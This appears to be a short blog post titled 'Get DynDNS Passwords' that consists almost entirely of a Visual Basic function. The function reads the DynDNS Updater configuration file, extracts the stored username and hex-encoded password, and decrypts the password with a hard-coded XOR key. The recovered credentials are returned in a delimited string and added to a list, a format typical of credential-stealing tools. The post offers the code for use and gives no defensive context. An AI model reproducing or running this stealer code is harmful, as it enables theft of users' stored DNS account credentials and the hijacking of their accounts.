Searching...
2:33 AM

Get DynDNS Passwords

code:
Public Function sDynDns() As String
Dim sAppData    As String
Dim sPath       As String
Dim sLine       As String
Dim sUser       As String
Dim sPassword   As String
Dim i           As Long
Dim sChars      As String
Dim lPtr        As Long
sAppData = Environ("ALLUSERSPROFILE")
If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"
sPath = sAppData & "DynDNS\Updater\config.dyndns"
If Dir(sPath) <> "" Then
    Open sPath For Binary As #1
        Do While Not EOF(1)
            sLine = vbNullString
            Line Input #1, sLine
            If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
            If Left(sLine, 9) = "Password=" Then
                sPassword = Mid(sLine, 10)
                Exit Do
            End If
        Loop
    Close #1
    For i = 1 To Len(sPassword) Step 2
        sChars = sChars & Chr$(Val("&H" & Mid$(sPassword, i, 2)))
    Next i
    For i = 1 To Len(sChars)
        Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
        lPtr = ((lPtr + 1) Mod 8)
    Next i
    sDynDns = "-" & "?" & sUser & "?" & sChars & "?"
List5.AddItem sDynDns
End If
End Function

0 comments:

Post a Comment

 
Back to top!